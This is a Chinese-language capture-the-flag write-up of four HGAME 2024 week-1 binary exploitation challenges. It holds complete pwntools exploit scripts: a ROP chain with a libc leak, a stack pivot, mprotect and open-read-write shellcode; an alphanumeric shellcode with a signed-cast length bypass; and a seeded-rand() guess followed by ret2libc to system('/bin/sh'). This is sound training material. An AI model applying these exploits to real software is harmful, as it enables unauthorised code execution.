HGAME-2024-week1-pwn


Elden Ring I

可执行文件直接运行会显示没有这个文件,patchelf换一下libcldd就好了

开了沙箱,禁用execve只能orw,由于没有可执行段所以还要mprotect创建一段可读写执行的空间

seccomp-tools dump ./pwn                                                     
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

检查保护,地址随机化

checksec pwn                                                            
[*] '/home/starrysky/game_2024/hgame/ring/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)

选一段写入并执行shellcode,我选的是0x404100

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x3fd000           0x400000 rw-p     3000      0 /home/starrysky/game_2024/hgame/ring/pwn
          0x400000           0x401000 r--p     1000   3000 /home/starrysky/game_2024/hgame/ring/pwn
          0x401000           0x402000 r-xp     1000   4000 /home/starrysky/game_2024/hgame/ring/pwn
          0x402000           0x403000 r--p     1000   5000 /home/starrysky/game_2024/hgame/ring/pwn
          0x403000           0x404000 r--p     1000   5000 /home/starrysky/game_2024/hgame/ring/pwn
          0x404000           0x405000 rw-p     1000   6000 /home/starrysky/game_2024/hgame/ring/pwn

函数很短,可以利用的空间也短,只能溢出0x30,去掉rbp就是0x28

ssize_t vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\\n");
  return read(0, buf, 0x130uLL);
}

所以需要栈迁移到buf的起始位置

总结一下:需要调用mprotect0x404100权限,所以需要泄露libc调用mprotect

需要栈迁移到输入的起始位置,所以需要泄露栈地址

给`0x404100`权限后向该地址写入`shellcode`实现`orw`再返回到这个地址

写的时候可能有一些细节问题,慢慢调试就好,也可能我写的复杂了

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.100.137.175', 30511)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

libc = ELF('./2.31/libc-2.31.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x00000000004013e3
addr = 0x40125B

p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(addr)
r.sendafter(b'you an accord.', p)
libc_base = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - libc.sym['puts']

read_addr = libc.sym['read'] + libc_base 
bss = 0x404100
pop_rsi_r15_ret = 0x00000000004013e1

environ = libc_base + libc.sym['__environ']
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(addr)
r.sendafter(b'you an accord.', p)

stack = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - 0x1e8
leave_ret = 0x401290
pop_rdx_ret = 0x0000000000142c92 + libc_base
mprotect = libc_base + libc.sym['mprotect']

p = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7) + p64(mprotect)
p += p64(pop_rdi_ret) + p64(0x0) + p64(pop_rsi_r15_ret) + p64(bss) + p64(0) + p64(pop_rdx_ret) + p64(0x200) + p64(read_addr) + p64(bss)
p = p.ljust(0x100, b'\\x00') + p64(stack - 0x8) + p64(leave_ret)
r.sendafter(b'you an accord.', p)

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, bss + 0x300, 0x30)
shellcode += shellcraft.write(1, bss + 0x300,0x30)
r.sendline(asm(shellcode))

r.interactive()

ezshellcode

考察的是强制类型转化导致的整型溢出和可见字符shellcode

限制了shellcode长度,输入的变量是unsigned int类型,且限制输入的数字不超过两位,比较的时候会强制转化int类型,输入-1就会先被强制转化成一个很大的整数,而这个数超过了int的最大值,所以比较的时候强制转化之后会变成负数从而绕过长度限制

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF
  ...
  printf("input the length of your shellcode:");
  __isoc99_scanf("%2d", &v4);
  if ( (int)v4 <= 0xA )
  {
    printf("input your shellcode:");
    myread(v5, v4);
  }
  ...
}

my_read函数中限制了输入内容必须是可见字符,上网搜一下就好了,https://nuoye-blog.github.io/2020/05/09/dea90f48/#/

unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
 ...
  for ( i = 0; i < v5; ++i )
  {
    v3 = *((_BYTE *)a1 + i);
    if ( (v3 <= '`' || v3 > 'z') && (v3 <= '@' || v3 > 'Z') && (v3 <= '/' || v3 > '9') )
    {
      puts("Invalid character\\n");
      exit(1);
    }
  }
  return v6 - __readfsqword(0x28u);
}

最终主要代码只有两行,exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.100.137.175', 31445)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'length of your shellcode:', b'-1')
r.sendafter(b'input your shellcode:', b'PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA')

r.interactive()

Elden Random Challenge

解出人数倒数第二的题,一开始就直接写这个了,估计大部分人都从前往后写嘛,虽然最后也没抢到一血,这题难倒没什么难点就是一开始报错不存在这个文件给我琢磨了一会

先检查保护,没有开地址随机化

checksec pwn
[*] '/home/starrysky/game_2024/hgame/random/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

前面99次输入随机数,直接c和python联合编程即可,最后执行到myread,可以溢出,ret2libc

题目里存在输入name的本意应该是通过name覆盖seed,但是联合c直接获取时间也很方便

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v6; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]

  init(argc, argv, envp);
  seed = time(0LL);
  puts("Menlina: Well tarnished, tell me thy name.");
  read(0, buf, 0x12uLL);
  printf("I see,%s", buf);
  ...
}

exp如下

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.100.137.175', 31513)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

libc = cdll.LoadLibrary('./2.31/libc-2.31.so')

r.sendafter(b'Menlina: Well tarnished, tell me thy name.', b'\\x00' * 0x12) 

seed = 0
libc.srand(seed)

for i in range(99):
    v6 = libc.rand() % 100 + 1
    r.sendafter(b'Please guess the number:', p64(v6))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
addr = 0x40125D
pop_rdi_ret = 0x0000000000401423

p = b'a' * 0x38 + p64(0x0000000000401423) + p64(puts_got) + p64(puts_plt) + p64(addr)
r.sendafter(b'brilliant mind.', p)

libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00')) - libc.sym['puts']
li(hex(libc_base))
one = 0xe3b01 + libc_base
ret = 0x000000000040101a

bin_sh = libc_base + libc.search(b'/bin/sh\\x00').__next__()
system = libc_base + libc.sym['system']

r.send(b'a' * 0x38 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system))

r.interactive()

EzSignIn

直接nc到远程cat flag即可


  目录